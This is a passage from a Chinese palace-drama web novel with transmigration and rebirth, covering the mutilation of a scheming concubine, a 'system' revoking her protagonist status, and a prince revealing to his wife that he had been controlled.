最关键的是。
她这回不仅说曜哥儿**,还说裴皇后**,这可都是大忌中的大忌。
普通人尚且忌讳这种事。
遑论皇家。
于是,等她说完所有自己知道的剧情。
正洋洋自得地要扬起笑期待太子对她惊为天人,要
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将她当宝贝一样供着时。
那扇小门突然开了。
宣王从里面出来。
没等姜侧妃反应,会功夫的男人已经闪身过来,照着她的胸口就是一脚!
“我只当你平日里在府上目无尊卑、言行轻狂,没想到你竟歹毒至此!是谁给你的胆子诅咒皇嗣,谋危中宫的?!”
这话若传到父皇耳中。
显哥儿、琼姐儿活不成,她姜府的全家老少跑不了,整个宣王府也别想善终!
她不在乎宣王府就罢,她连显哥儿琼姐儿都不在乎,不在乎她姜府那一大家子!
姜侧妃整个人撞到墙上,再从墙上跌落在地,霎时间一大口鲜血喷涌而出。
“骆、骆屿……”
她捂着心口,几乎喘不过气。
好不容易眼前清明了,才看清是宣王。
扑通!
宣王转身跪地,额头触地。
“臣弟知罪,不该纵容姜氏至今,但诚如臣弟早先所言,姜氏所为与宣王府其他人等无关,请太子手下留情护其周全!”
骆峋看看他,再看向姜侧妃。
片刻。
他转身缓步往那扇小门行。
“此妇咒害皇嗣谋危中宫,倾覆社稷之本,其心可诛,按律当斩,诛灭九族。
然东宫有喜皇嗣初萌,当积阴骘应天德,以保皇嗣康宁,便按大逆条例一,拔其舌断其手足筋,绝其妄言悖逆之根。”
“拿什么罪名去请父皇开恩,你自清楚。”
宣**白。
侧妃是上了皇家玉牒的,即便废了,接下来的惩处也需经得父皇准许。
若想宣王府不受连累,便绝不能让父皇知晓姜氏诅咒东宫子嗣与母后的事。
具体怎么做。
六哥已为他指明了路。
“谢太子开恩,臣谨遵太子令旨。”
“站住,你站住!”
姜侧妃顾不得身上的伤,满嘴是血地喊道。
“你说了不迁怒我的!说了不降罪我的!你怎么能出尔反尔?!”
骆峋头也不回。
“孤应你一回,不曾应你第二回。”
“你不信、你不信我说的话对不对?!我说的都是真的!你不信的话……不信的话你会后悔的,骆峋你绝对会后悔的!”
骆峋这次倒是站住了,但回头对上她狼狈又狰狞的目光,他道:“孤信。”
“但孤为何会后悔,你不是都好心告诉孤了?还是说,你还有未曾说的?”
姜侧妃下意识答:“没,都说了。”
“那不就对了?”
稍作停顿。
骆峋道:“你说与不说,其实于孤而言都没有价值,孤只需你回答你是否有在万寿节当晚诅咒孤的子嗣。”
他的语气里听不出波澜,看着她的那双丹凤眸底也不见一丝光亮和温度。
像在看没有生命的物件。
姜侧妃的心骤然一跳,脊背止不住地发寒。
直到这一刻,她再次意识到了不对。
不对,不对……
小说套路不是这样的!
她之前也是按那些穿书文套路来的啊,明明就很有效的啊,她就是爽文女主啊。
为什么现在失效了?
为什么?!
“不是这样的,不是这样的!”
姜侧妃扯着嗓子大喊,想起什么,她趴在地上拖着双腿不顾伤痛往前迅速爬了两步。
翻起眼珠子直勾勾盯着骆峋。
“宋槛儿是重生的,宋槛儿她就是个怪物!她根本不爱你,她从头到尾都在算计你!”
“她熟悉你的一切,你就不怕她害你吗?!”
宣王咬牙,要把人敲晕。
骆峋抬了抬手,“让她说。”
姜侧妃以为这男人是怕了,笑了。
她是真不想针对宋槛儿。
可谁叫那女人和宣王妃这个原女主是一伙的,谁叫她先当着众人的面让她难堪的,又谁叫她先向太子告状的?
所以。
她就算是死,也不会再让宋槛儿坐上凤位!
“她怀孕的时候你任由郑氏把她拘在偏殿,任由郑氏言语羞辱她,她生了孩子你任由郑氏把孩子抱走!”
“如果不是你,骆曜根本就不会死!”
“是你害**她儿子!”
“我猜她重生后变着花样让你同意让她自己养孩子吧?哈哈、哈哈哈……你不知道她其实恨死你了吗?!”
“你不知道她死前,其实根本没有舍不得你吧?她只觉得解脱!只觉得解脱!”
“她重生回来就是要向你报仇的,等将来她扶她儿子登基,你的死期就到了!”
“知道屠龙吧,你今后就是她要屠的那条龙!”
最后一句,姜侧妃拼尽了全力。
随着她的话音落下,屋中一阵死寂,唯有姜侧妃粗重的喘息一声高过一声。
良久。
宛如雕塑一般的男人终于开口。
“若如你所言,骆曜确为孤所害,一位母亲对害了自己孩子的人有恨,合情合理。”
“人终将一死,孤堂堂储君又有何惧。”
“孤只愿大靖,能千秋万代。”
“至于你说的,宋昭训不爱孤,算计于孤……”骆峋漠然地俯视着她。
“那是她活命的路数,孤不认为有何不对,孤并不在意她爱与不爱,亦不强求。”
“子罕不贪为宝,孤为一国储君,又如何能向一介弱质女流索取其仅有之宝?”
第101章 太子:他与她原就谈不上信任与情爱(合章)
正值八月初。
虽已立了秋,暑热却不褪反升。
傍晚太阳落山的时候小满子、小桂子在院里洒了水,把路面仔仔细细清洗了一遍,各个花草丛和角落也都拿莫院判特制的药包熏过。
但有身孕的关系。
槛儿近段时日比瑛姑姑她们怕热得多,在院子里走了两圈不但没觉得凉快,反而感觉自己像是身在蒸笼里。
委实受不住,槛儿折身回了屋。
宫廷内训有言,妊子之时必慎所感,认为胎儿会感应到母亲的情绪言行及外界影响,加上莫院判也有相关叮嘱。
因此从满三个月开始。
每晚寒酥、跳珠和瑛姑姑会轮流给槛儿读四书五经的基础本,以及《心经》、《道德经》这类利于修身养性的书。
她们在一旁读时,槛儿就坐在书案前练大字。
正练着呢。
几个小太监在外面问太子安。
现在瑛姑姑他们对于太子来永煦院这件事高兴归高兴,但基本已经见怪不怪,能轻易做到宠辱不惊了。
闻声从善如流地便放下手上正在做的事,随槛儿一道迎了出去。
骆峋从假山池前绕过来,一眼便看到立在门前廊檐下的那道身影。
光晕朦胧,她穿了件白底绣竹叶玉兰花的褙子,如云的发髻上插了支银镶玉步摇,耳垂上戴着一对玉葫芦坠子。
清雅的装扮衬着那张昳丽姣好的脸庞,愈发显得她柔媚温婉又不失贵气。
骆峋看着这样的她,无端想起了初见她时的情形。
彼时郑氏第一次向他提想寻人替她生子的事,让人把她叫过来给他相看。
当时她一身浅绿色宫婢衣裙,双丫髻上绑着两根浅绿发带,额前一层薄薄的刘海,一如他打算临幸她那晚的装扮。
区别在于。
初见时的她委实胆小。
即便她很努力在假装从容镇定了,但那颤颤巍巍的娇躯和一开口就止不住打颤的声音还是泄露了她的情绪。
不过,大抵是见多了这样的宫人。
骆峋当时并没有什么想法,只觉得她胆小,还很莫名地想她会不会被他吓晕。
那时曹良媛的爹曹淮中在曹良媛入了东宫后,曾两度私下里和睿王的人有接触。
在查清曹淮中和睿王的关系之前,若非形势所迫,骆峋并不打算让曹良媛有孕。
金承徽刁蛮愚笨,不适合孕育皇嗣。
秦昭训。
看着她,骆峋像似看到了另一个自己。
但他又确实需要一个子嗣,故而思来想去,即便明知小宫女怕他得紧,他也还是在郑氏第三次提起此事时答应了。
再见的那晚。
骆峋其实第一眼就发现她变了。
怕他,又不怕她。
眼儿里汇聚着泪,看他的眼神却不躲不闪,身子瑟瑟发抖却敢主动碰他的唇。
敢抱他抱得那般紧。
“殿下是真不怕热呀。”
进了屋。
见太子今日难得不是沐了浴过来的,身上还穿着在外行走的缂丝窄袖锦袍。
除了脖子和头、手露在外面,其他地方包得那叫一个严实,槛儿有些意外,替太子解开领口的扣子时笑着打趣道。
骆峋握住她的手,又松开。
“让海顺来。”
对上槛儿疑惑的眼神,他薄唇微抿了抿。
旋即道:“有汗,别沾了手。”
海顺晚上没跟太子进暗室见姜侧妃,但他当时奉命守在门外,也听到了一些话。
此刻察觉到自家爷脸上微妙的神色,海顺笑盈盈地过来对槛儿道:“殿下这是心疼昭训呢,昭训赶紧歇着吧。”
槛儿假装没看出这主仆二人的异样,挪了挪步子抱住太子的胳膊,脸微微泛红。
似是被羞的。
骆峋的目光便落在她晕着薄粉的脸颊上,落在她因羞怯而轻颤的眼睫上,以及抓着他衣袖的葱白小手上。
沐过浴净了发,一切收拾妥当。
骆峋来到书房。
寒酥收起《心经》要退到一旁,见海总管背在背后的那只手在冲她们打手势。
寒酥与跳珠、瑛姑姑、周嬷嬷立马悄声退下,海顺带着她们直接退到了屋外。
骆峋先前和槛儿说过由他来处理姜侧妃的事,但没说具体在哪一天见人。
毕竟他的时间有限,还得提前各种得安排,加上平时两人相处的时候也常常没让海顺他们在屋里伺候。
所以槛儿猜出了太子今晚心情不佳,却不知具体为什么,她也没有贸然询问。
此时见太子进来,槛儿搁了笔。
拿案上的湿巾子擦了擦手。
然后绕过书案,端起喜雨不久前才送进来的经去核切成薄片的雪梨,拿银叉子叉了一片送到太子嘴边。
骆峋撞入她秋波盈盈的眸子,身形不自觉微顿,迟疑片刻终究低头张嘴衔住。
“殿下尝尝甜吗?”
槛儿自己也叉了一片吃,不忘问。
骆峋此时嘴里无味儿。
但他嚼了嚼,“嗯。”
槛儿就笑了。
很好,还能回应她的这些小问题。
说明心情并没有差到极致。
槛儿把银叉放到盘子上,说着这盘雪梨怎么来的,一面牵着太子往罗汉床那边走。
骆峋垂眸看着那只被他的手衬得格外显小的手,到底还是任由她牵着。
罗汉床的核桃木小几上摆着双陆盘,是下午槛儿和瑛姑姑没玩结束的残局。
槛儿和太子隔着小几坐下后便扔起了骰子,随即拿起她这边的白棋走了起来。
骆峋真不想玩这个。
太简单。
但见槛儿看着他的眼神亮晶晶的,红唇弯弯,手上还不忘拿银叉喂他雪梨片。
骆峋便还是抓起了骰子。
扔了个最大点数,一下子就结束了游戏。
槛儿:“……”
她的无言写在脸上,骆峋嘴角险些没绷住,好在让他及时将那抹弧度压下去。
不过,当槛儿把所有棋子全部摆回原位,说着要重来时骆峋顺势应了。
两人就这么玩起了双陆。
也不知太子怎么扔的骰子,总能扔出适当的点数,槛儿一不留神就被他吃。
就在槛儿琢磨着要怎么才能吃掉太子的棋子时,对面的男人忽然开了口。
“孤见过姜氏了。”
槛儿反应了一下明白过来他口中的“姜氏”是谁,她的心思顿时不在双陆上了。
捏着棋子看着太子,柔声问道:“怎么说,殿下有问她那件事吗?她有承认吗?还是她否认了之前的话?”
槛儿清楚,太子之前刚听她说这件事的时候虽动怒了,但他骨子里就不是个会被一时的情绪冲昏头脑的。
庆昭帝也从不会偏听偏信。
所以,槛儿知道他肯定要从姜侧妃口中证实。
这其实也是人之常情。
槛儿不觉得有什么,她也没刻意装傻充愣。
“嗯。”
骆峋落下棋子,抬目看向她。
“认了,且说了不少孤不曾听闻过的事。”
槛儿的心微微收紧,脸上倒没泄露分毫,只做出一个正常人在听到一件自己不知道的事时该有的不解模样。
“妾身能知道吗?”
她谨慎恭敬地问。
骆峋看了她两息。
手放在膝上,颔了颔首。
姜氏的某些言论即便传出去寻常人也不会信,至于那些更大逆不道之言。
他不会告诉她,没必要吓她。
也……
敛起心思,骆峋开门见山道:“她说,她是从一个很发达的将来世界穿越而来的。”
哈?!
槛儿手里的棋子都掉了。
穿越?将来世界?
是她理解的那个意思吗?
古唐时期天竺僧人在《楞严经》中有云:世为迁流,界为方位,即时空也。
而发达,即草木萌发,舒展、兴盛,或功成名就。
换言之,发展势头强劲。
二者相结合,便是经济发展势头强劲的时空。
再结合“将来”一词,意思就是姜侧妃是来自将来的一个经济发达的时空。
就好比她死后重新回到自己年轻的时候,姜侧妃是死后回到了距离她那个世界很久很久的以前,即他们这里吗?
那他们这里原来的姜侧妃,和从另一个世界穿越来的姜侧妃是同一个人吗?
如果是这样,倒是能解释得通此前姜侧妃一病之后为何性情大变,判若两人了。
但,姜侧妃为何会知道曜哥儿的事?
莫不是史**载?
骆峋见槛儿一脸茫然懵懂疑惑不似作假,只当她是没理解他话里的意思。
毕竟,她才启蒙不久。
如何能知道《楞严经》中所言。
于是,他先对槛儿解释起此话的意思。
槛儿充分代入,时而恍然大悟状,时而蹙眉沉思状,听得相当认真。
等听完,她假装反应了片刻才问出了自己的猜测:“既是穿越,那咱们这里原来的姜侧妃和她是同一个人吗?”
骆峋就觉得小昭训很聪明,能迅速理解穿越时空,能即刻察觉找准问题所在。
“不是。”
他放缓语调道。
“据她所言,孤与你所处之世界乃一本书,孤、你、你身边的宫人都为此书中人。”
槛儿脱口而出:“史书?”
骆峋:“为何会觉是史书?”
槛儿眨眨眼。
刚要按自己猜
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测的答,她忽然抿紧了唇。
骆峋:“嗯?”
槛儿捏紧手边的棋子,声音发沉:“如果不是史书,她如何能将时间都说得那般精准,元隆二十一年,二十五年……”
说着,她说不下去了。
紧抿着唇,垂下眼,“殿下恕罪,妾身……”
手被握住。
槛儿看到那只骨节分明的大手掰开她的手,将她手中攥着的棋子取出来。
“过来。”
骆峋在她被棋子硌出印子的掌心抚了抚,遂将小几拽开,示意槛儿坐到他身边。
槛儿就坐过去了。
骆峋握着她的手,另一只手环住她道:“不是史书,是小说,便是你日里看的话本。”
槛儿一怔:“话本?”
突然。
她想到了前阵子那些名字相当长的话本,其中就有和她一样的重生类型和主人翁穿进话本故事的类型!
她就说姜侧妃这事儿听着怎么觉得这么耳熟,她刚刚竟一时没想起这个!
等等。
仙芋居士……
“仙芋居士,编写那些话本的人,是姜侧妃?!”槛儿瞪大眼,难以置信地道。
骆峋:“嗯,是她。”
槛儿一言难尽。
随即就被逗笑了,无言以对的笑。
上辈子她鲜少接触话本。
许是其中有宣王插手,也就导致她一直不知道姜侧妃在写这样式的话本。
这辈子她倒是看话本了。
岂料看得竟是姜侧妃写的!
这还真是无巧不成书。
所以,跳珠之前所说的“上面有人”。
这个人就是宣王。
槛儿栽到太子肩头,“妾身就说之前看的一些话本名儿怎么那样,原是她写的……”
说到一半。
槛儿抬头问:“殿下信她说的这些吗?”
这等荒诞不经之言论,寻常人听来或许多数都只当是此人在胡言乱语。
但骆峋自小广泛涉猎各类书籍,又常年**为君之道,听过各地报上来的奇闻轶事。
且姜氏所言还多与皇室有关。
所以此时听槛儿问及,骆峋揽着她的肩头,神色冷冽道:“宁可信其有。”
槛儿赞同。
天下之大,无奇不有。
她自身就是最好的例子。
这么说来……
槛儿好像也有些明白上辈子的姜侧妃看她们女眷时,眼里为何总带着那么一丝倨傲不屑和高高在上了。
想来对方自诩从另一个经济发达的地方来,便觉他们这里贫穷落后,面对她们这些女眷也觉更高人一等。
不对,为何是女眷?
莫非姜侧妃那个世界的女子与他们这里的有何不同之处,或是比她们更厉害?
也不对。
一个地方不论人还是经济,能发展强劲都是一代代人努力而来的结果。
但这么一来。
姜侧妃便不应该是瞧不起她们才对……
想不透,槛儿懒得浪费时间,转而问起太子:“殿下打算如何处置于她?”
既然姜侧妃清楚上辈子曜哥儿的早夭时间,说明对方穿的这个话本,很大可能写的便她上辈子发生的事。
如此,她还是别多问为好。
言多必失。
就当她没想到这一茬吧。
骆峋本就不打算将姜氏所言事无巨细地告知她,见她没追问,他便当没想起这一茬。
至于姜氏说她是重生之人……
骆峋对上槛儿的视线,道:“你怀着身子,孤留她一命,姑且断了她的妄言之根。”
槛儿懂了。
看了他一小会儿,抱住他道:“有劳您了。”
骆峋的手摸到她小腹。
“你说过,此为孤与你的孩子。”
所以他不会只让她这个娘操心。
而她是否为重生之人。
归来是否为寻他报仇。
骆峋不知,也并不想当面逼问。
横竖他们之间的缘分至今左不过三月有余,原就谈不上多少信任与情爱。
现在这样,挺好。
至于往后如何,循理而举事即可。
.
“所以说这男人啊,都是寡情薄意的。
宠你的时候含在嘴里怕化了,捧在手里怕摔了,要天上的星星他都能给你摘下来,一旦宠爱到了头,啧啧啧……”
宣王府。
后宅,位于西南角落的静思苑。
烈日当头,包着铁皮的院门厚重紧闭锈迹斑斑,门前台阶石缝中杂草丛生。
院中的青石地板因年久失修而裂开,三面低矮的屋子廊柱红漆斑驳,瓦片灰蒙蒙的,墙角处大片晒干的青苔。
两个粗使婆子和一个粗使丫头坐在西厢房门口的长条凳上,摇着扇子唠着嗑。
第102章 姜侧妃**,本世界规则变更
“你小点儿声!”
孙婆子捶了吴婆子一拳,压低声提醒道。
“没事瞎咧咧啥?不知道她犯的啥事啊?直呼王爷名讳就罢,还拿东西砸王爷。
她那两个丫鬟都敢跟王爷呛声,换成咱早不知死多少回了,问题是她还骂王妃那啥!
就问哪家小妇敢这么骂主母?更别说还是圣上钦点的王妃,这不自己找死吗?
王爷若是这回不处置,回头风声漏到上边儿那位耳朵里,遭殃的就是整个王府了,到时候你我都跑不掉!”
吴婆子轻轻拍了拍嘴巴。
“也是哈,她就算自己不怕,也总得想想自个儿生的那两个和他们姜家那一大家子吧,再说跟咱也没干系。”
孙婆子:“谁说不是,她自己倒图一时痛快,就没想过跟她有关的人要受牵连。
现在好了,侧妃的位子没了,孩子人家养了,自己成了那副人不人鬼不鬼的样子。
娘家爹的官没了,家里的秀才、举人老爷功名没了,姐姐妹妹的婚事都黄了。
这还是咱王爷求陛下开了恩,要不然就跟荣王前头那一个一样,全家没一个……”
两个婆子对个眼神,没敢再说下去。
“婶儿,你们有没有觉得有啥不对劲?”粗使丫头红云听了半天,小声问道。
俩婆子:“啥不对?”
红云说:“去年正月她不是落水病了一场吗?醒来后跟变了个人似的,王爷对她的态度也跟变了个人似的。
前头的那些人本来不是挺不喜欢她的?最近这一年多竟都成她那边的人了,连王妃都要使唤不动他们了!
可我今儿一早去前头跑腿,居然听他们在骂这位,说她对大伙儿使了啥邪术。
问题是他们真举了好多事儿,说得有鼻子有眼的,听得我一身鸡皮疙瘩!”
孙婆子笑出声:“当时我就说她中了邪,要么就是沾了脏东西,你们还不信呢。”
吴婆子打个哆嗦。
“别说了别说了,咱晚上还得守呢。”
屋里。
姜宛宛是被痛醒的。
浑身上下哪儿哪儿都痛,就像是小说里写的被大卡车碾过的那种痛。
而最痛的当属嘴里。
“啊、啊……”
姜宛宛眼还没睁,反射性地张嘴。
谁知刚张嘴,舌根处一阵撕裂般的剧痛直激得她当即犹如中风也似地抽搐起来,两眼控制不住地翻白。
啊……啊!
好痛好痛好痛——
姜宛宛艰难地转动眼珠,脸上肌肉痉挛,本能地想攥身下的褥子,想蹬腿。
然而才有动作。
她的手腕脚腕处又一阵钻心剧烈的痛,像是有人拿刀子在砍她的手腕脚腕,把里面的一条条筋全部砍断!
“嘎啊、啊……”
姜宛宛艰难地偏过头。
就见两只手腕都缠着绷带,因她刚刚的动作,绷带肉眼可见地被迅速染红。
她试着抬了抬手臂。
啊!
啊——
她的手、她的手掌直不起来!
她的手掌软绵绵地耷拉着,直不起来!
还有脚。
她的脚掌也动不了了……
动不了了!
姜宛宛支撑不住重重倒回床上,骇然地望着满是灰尘污垢的帐子,疯狂转动的眼珠子上布满蛛网似的血丝。
为什么……她为什么会变成这样?
她的手脚,她的舌头……
这是哪?是哪?!
突然。
姜宛宛身子一抖,眼珠子定格。
想起来了,她想起来了!
骆峋让宣王拔了她的舌头,挑断她的脚筋!
所以,所以她的舌头是被拔掉了吗?她的手筋脚筋……是被、被挑断了吗?
她再也不能说话了。
再也不能拿东西了,不能走路了?!
她成残废了?!
不、不!
对了……
宋槛儿,宋槛儿宋槛儿宋槛儿宋槛儿!
砰!
“哎哟,啥声儿?”
孙婆子吓一跳,扭头往屋里看。
吴婆子:“估计是醒了,咱去看看。”
两个婆子和红云进了屋。
刚走到破破烂烂的落地罩前,就看到本该在床上躺着的人滚到了地上。
白色的中衣上沾满了灰,一脑袋头发鸡窝似的蒙在脸上,四肢缠着纱布的地方正在往外“噗嗤噗嗤”冒着血水。
嘴里也是一股股血往外涌。
可就算是这样,她人还不老实。
两条胳膊撑着地,跟只虫子似的往外爬,喉咙里歇斯底里地发出粗噶的啊啊声。
孙婆子三人又给吓了一跳。
反应过来,吴婆子跑过去把人拽住,“哎哟喂,姜夫人这是做啥啊?咋跑地上来了,赶紧起来,地上这么脏咋能爬呢?”
“红云你去叫谭郎中过来。”
孙婆子使唤道。
红云“诶”了一声,转身跑出去。
孙婆子过去跟吴婆子一起把人往床上抬,姜宛宛却是不住地挣扎扭动。
放她下来!
放她下来!
她要去找宋槛儿那**算账!她要去杀了那个不要脸的烂**!臭**!
自己屁本事没有……
一个只配给太监做对食的死奴才贱婢!只配被畜生**糟蹋的臭娘们儿!靠一身皮肉爬男人床的死小三!
她呸!
如果不是那女人恶人先告状,不是那**仗着有臭男人撑腰害她!
她的舌头,她的手脚怎么可能被废!
她怎么可能变成残废!
对了,宣王……
宣王最近这个月对她的态度变化那么大,一定也是宋槛儿从中搞了什么鬼!
她要杀了她。
她要找人把宋槛儿先奸后杀了!
“你够了啊。”
孙婆子干惯了粗活儿,任凭姜宛宛如何挣扎,她轻而易举便将其扔回了床上,再和吴婆子一起按住她的四肢。
孙婆子:“你自个儿把自个儿作成这样的,怨得了谁?现在做出这副模样又是想给谁看?咱可不想被你害
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了。”
吴婆子:“俗话说好死不如赖活着,陛下开了天恩饶你一命,你就好好珍惜吧,咱如今好歹还叫你一声夫人呢。”
姜宛宛痛得几乎麻木,眼前阵阵发黑。
可她不甘心,她恨!
她像似豁出去了,拼了命地扭动身体,喉咙里一声又一声粗噶的低咆宛如破旧的老风箱,又仿佛濒死的野兽。
两个婆子对视一眼。
孙婆子:“我给她按着,你去取参片,王爷说了人不能死,咱得把命给她吊着。”
没多会儿。
姜宛宛感觉嘴里被塞了东西,她习惯性想用舌头把东西抵出来。
东西没抵出来,倒是嘴里又一波汹涌的生疼和四肢脱力让她头晕耳鸣眼花。
恍惚间。
帐顶开始扭曲。
两个婆子的声音变得悠远,渐渐她的耳边只剩了她濒死一般的粗重喘息。
就在这时。
她的脑海里似乎响起两道“滋滋”声,类似她在现代听过的电流声。
电流……
姜宛宛吭哧吭哧呼着气。
是系统吗?
是小说里的系统来绑定她,来救她了吗?
姜宛宛猛地兴奋起来。
她在脑海里默喊:“系统,系统!我被一对渣男贱女夺走了女主光环,你快来绑定我!帮我打脸那对渣男贱女!”
没听到回应,她又默喊了两遍。
没想到,还真叫她给喊出来了一个系统,但这系统却不是来绑定她帮她的。
「姜宛宛」
冰冷金属质感的女声响起。
「经系统调查判定,你所在的世界原主角为柳疏嫣、骆屿,经你这抹异世界灵魂的介入,本世界变更主角为姜宛宛、骆屿,原女主柳疏嫣黑化死亡。
现因配角宋槛儿重生,变更后的世界规则崩塌,男主骆屿即将恢复原有人格。」
「你身上的光环将彻底消失。」
「请做好准备。」
「倒计时:3」
姜宛宛怔住了。
随即在脑海里歇斯底里地大叫:“不准消失!不准消失!我才是女主,我是女主!”
「2」
“是宋槛儿破坏了规则!是那个**小三害的我!你应该去抹杀她才对!”
「1」
“叫你去抹杀那**——”
「0」
「光环撤销完毕,姓名:姜宛宛,性别:女,实际年龄:25,职业:互联网营销师
曾于互联网发布不当言论,参与网络**,致使当事人**身亡。」
「现作为惩罚,系统将延长姜宛宛寿命二十年,予其病痛缠身,伤残不断。」
「本世界从书中世界变更为真实世界,人生天地间,请坚强努力地生活。」
吴婆子看着床上的人,纳罕道:“人都晕半天了,喉咙里还咕噜些啥呢。”
“管她呢,反正用刑的时候用了药就是为了不让她疼死,现在命吊回来了,咱回头当心别再让她胡来就行。”
“嗯,我可想多活几年呢。”
第103章 宣王哭了?!与好姐妹共侍一夫,多恶心啊
鹤枫堂。
大丫鬟挽香将下人来报的消息禀给宣王妃,宣王妃听完点点头表示知道了。
待挽香出去。
顾侧妃放下茶盏,轻压了声音道:“王爷为何转变得如此之快?莫非真是因那位食了秽物才遭了厌弃?”
正值歇晌之后,瑜姐儿要读书。
顾侧妃给小家伙布置了课业,之后闲来无事便来宣王妃这边唠唠嗑。
“不至于。”
宣王妃沉吟片刻,道。
那人若是因那事厌弃姜氏,当时就不会在得知姜氏摔坏腿的实情后,连瑜姐儿都不顾便要去探望。
顾侧妃那晚在水榭,并不知琼苑发生过什么,便问宣王妃为何如此肯定。
宣王妃没说万寿节那晚的事,只道:“前头这一个月王爷还去看过她几次,再说不看僧面看佛面,就算厌弃了她,那不还有显哥儿和琼姐儿?”
这对儿可是难得一见的龙凤胎。
当时父皇都给姜氏赐赏了。
顾侧妃一听龙凤胎,神色一言难尽。
她扭头看眼堂屋方向。
转过来后很是幽怨地小声对宣王妃道:“王爷作甚叫人把那两个送去我那边,我一点儿也不想养孩子。”
怕被误会,她不忘补充:“我不是嫌麻烦,而是我原就不喜她的做派。
过去一年多她是变了性子,可每回瞧着我还是鼻子不是鼻子,眼睛不是眼睛的,也不知在傲个什么劲儿。
她如今遭了罪不假,可我又不是菩萨,做什么要因不喜欢的人遭了罪就同情对方,还要替对方养孩子……”
说着,顾侧妃突然不自在起来。
宣王妃示意她有话就说。
顾侧妃真就说了。
“不瞒您说,我之前看过几本她写的话本,讲的皆是诸如大少爷爱上一个本不受他所喜之人的故事。
我就怕回头王爷要去我那儿看孩子,次数多了他也会觉得我有趣,转变对我的态度,那可如何是好?”
顾侧妃真心不愿和宣王有男女方面的关系。
她与宣王妃合得来,时常泛月咏絮,瑜姐儿亦活泼可爱,敬重她这位先生。
不必为后宅琐事烦忧。
有施展才学的地方,又有好姐妹相伴,这样的日子过了两年她人都胖了。
要紧的是,顾侧妃委实做不出与好姐妹共侍一夫的事,多恶心得慌啊。
她是圣上钦点的王府侧妃,又不肖想正妃之位,宣王于她而言真不重要。
宣王妃知晓顾侧妃率性,却没料到她的顾虑在此,她顿觉忍俊不禁。
“您别只顾着笑啊。”
顾侧妃跺脚。
“话本故事创作通常源于日常取材,我昨儿就在愁这事儿了,您帮我想想辙,要不把那俩孩子安排去别处。
要不看寻个什么由头叫王爷去探望他俩时免了我的礼,我躲着不见他……
不行,那位当初就是反其道而行之被看中的,我若躲了,王爷若再反过来觉得我性情有趣,相中我怎么办?”
宣王妃笑得直不起腰。
顾侧妃继续想像各种可能。
这时,落地罩外响起一道咬牙切齿的声音:“闭嘴,本王对你没兴趣!”
顾侧妃吓一跳。
宣王妃原本高高翘起的嘴角在一瞬间收了起来,人也立即站起身。
上前两步对来人行礼。
宣王看在眼里,心头微梗。
从前他们在一起何需在意这些虚礼。
不过当着顾侧妃的面宣王倒没说别的,径直到炕前的紫檀三屏椅上落座。
对顾侧妃道:“没你事了。”
言外之意你可以走了。
顾侧妃自然要走,但在走之前她欲言又止,最终还是一咬牙,小心问:“能请王爷收回刚刚说的那句话吗?”
怕宣王扭头就忘,她贴心提醒了一下:“就您说对妾身没有兴趣的那句。”
宣王的脸沉得能滴出水。
“没兴趣便没兴趣,作何要收回?难不成你想本王对你有兴趣?”
顾侧妃疯狂摇头。
“王爷息怒,妾身没旁的意思。
只妾身此前翻阅过几册话本,其中多数才子起初对佳人说的话便如王爷方才所言,最终却都言而无信。
妾身也是担心王爷是时会如同这些话本中的人物那般,自食其言,便想请王爷收回方才所言,妾身只当不知。”
宣王妃背过身,拿手帕掩了掩唇角。
宣王:“……”
宣王险把扶手给掰碎!
提起话本,他便想起姜氏,想起姜氏当着六哥的面说的那一番番话。
他和疏嫣有关的所有事,都让她说中了,且其中很多都只他与疏嫣才知晓。
所以,他信姜氏所言。
他恨不得亲手杀了那个毒妇!
若不是她,他怎会言行受束。
他和疏嫣又怎会……
“滚!”
听顾侧妃哪壶不开提哪壶,宣王再压抑不住心中震怒,厉声冷喝道。
顾侧妃从没见过宣王这般恼怒,立时也不敢胡言乱语,恭敬福身告退。
宣王妃看看宣王,坐到旁边位置,“王爷做什么对她生气,又不是她招惹了您。”
言下之意,谁惹了你找谁撒气去。
宣王一噎。
换做一个多月前,若逢她如此呛他,他会觉得烦躁,觉得她愈发尖酸刻薄。
可现在听来。
这不还是从前的她吗?
伶牙俐齿,是非分明。
然而从去年正月到上个月,这期间他却……
宣王妃久没听到这人的声音,不由抬头将目光从自己手上移到对方身上。
旋即就让她看到了不可思议的一幕。
这人居然在哭!
刚刚还在发火的人,这会儿居然哭了?!
宣王哭自然不是眼泪哗啦啦的那种哭法,他只是看着宣王妃,眼眶通红。
眼泪在他眼里打转,下颌紧绷,看得出来在极力忍着不让眼泪掉下来。
宣王妃与他一起十几年,除了新婚那晚他高兴和她成婚,抱着她哭了会儿,此外宣王妃还没见这人哭过。
且新婚那晚是喜极而泣。
是能明显感觉出他的高兴的。
此时哭算什么?
宣王妃看不懂宣王眼里的复杂,愣了愣,随即就恼了,“腾”地站起身。
“你若舍不得她,大可不必在人前做出那么一副铁面无私的姿态,犯不着事前罚了人,事后又到我这里来哭。”
“没得叫人恶心!”
说着,她抬步就要走。
被宣王拉住了腕子。
宣王妃要挣开他,但没来得及动作,忽听宣王很是郑重道:“我有话与你说,关于我罚姜氏
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的真正原因。”
夫妻一体,以防今后她不小心犯了忌讳,这件事必须要让她也知晓真相。
以防有人偷听,宣王将鹤枫堂的下人赶到了院外,命心腹随从守在院门口。
拉着宣王妃进了内室。
半个时辰后。
宣王妃目怔口呆,受惊吓的同时亦难以置信,怎么也没想到事情会是这样。
姜氏竟犯了如此大逆不道之罪,且她不是他们这儿的人,是占了真姜氏的身!
而宣王近一年多对她和瑜姐儿的冷待,竟也是受假姜氏的控制,若非如此她和他原该一直美满幸福下去!
这……
这简直堪比志怪故事。
但宣王妃又并不认为这是宣王编造出的假话,以此来为他的见异思迁开脱。
毕竟牵涉到东宫,知情者不止宣王一个。
若为谎言,太容易拆穿。
可也正因为如此,宣王妃才觉得荒谬。
过去的一年多里,她时常在想他因何要如此待她和女儿,因何与从前判若两人。
她当他负心薄幸,为此痛过怒过恨过!
甚至拖垮自己的身子。
然如今。
他却告诉她一切都是假姜氏在从中作梗,他的所有言行都不受自身控制?
他是身不由己的?
“呵……”
宣王妃笑出了声。
如此,她流过的那些泪,忍过的那些痛。
又算什么?
宣王看着妻子难掩苦涩与嘲讽的笑,只觉如鲠在喉,心似不住地往下坠。
这般怪力乱神之事,她不信也正常。
不过,宣王没有迫切地要妻子相信他。
“你我之间的事我会用接下来的时间来证实,但今后在外若是有人谈及与相关她的事,你我需切记慎言。”
宣王妃明白。
她不喜姜氏,却也不会做那起背地里说三道四之事,如今姜氏犯了大罪。
她更不可能与谁说道她。
妻子明理,宣王心痛的同时更是恼怒。
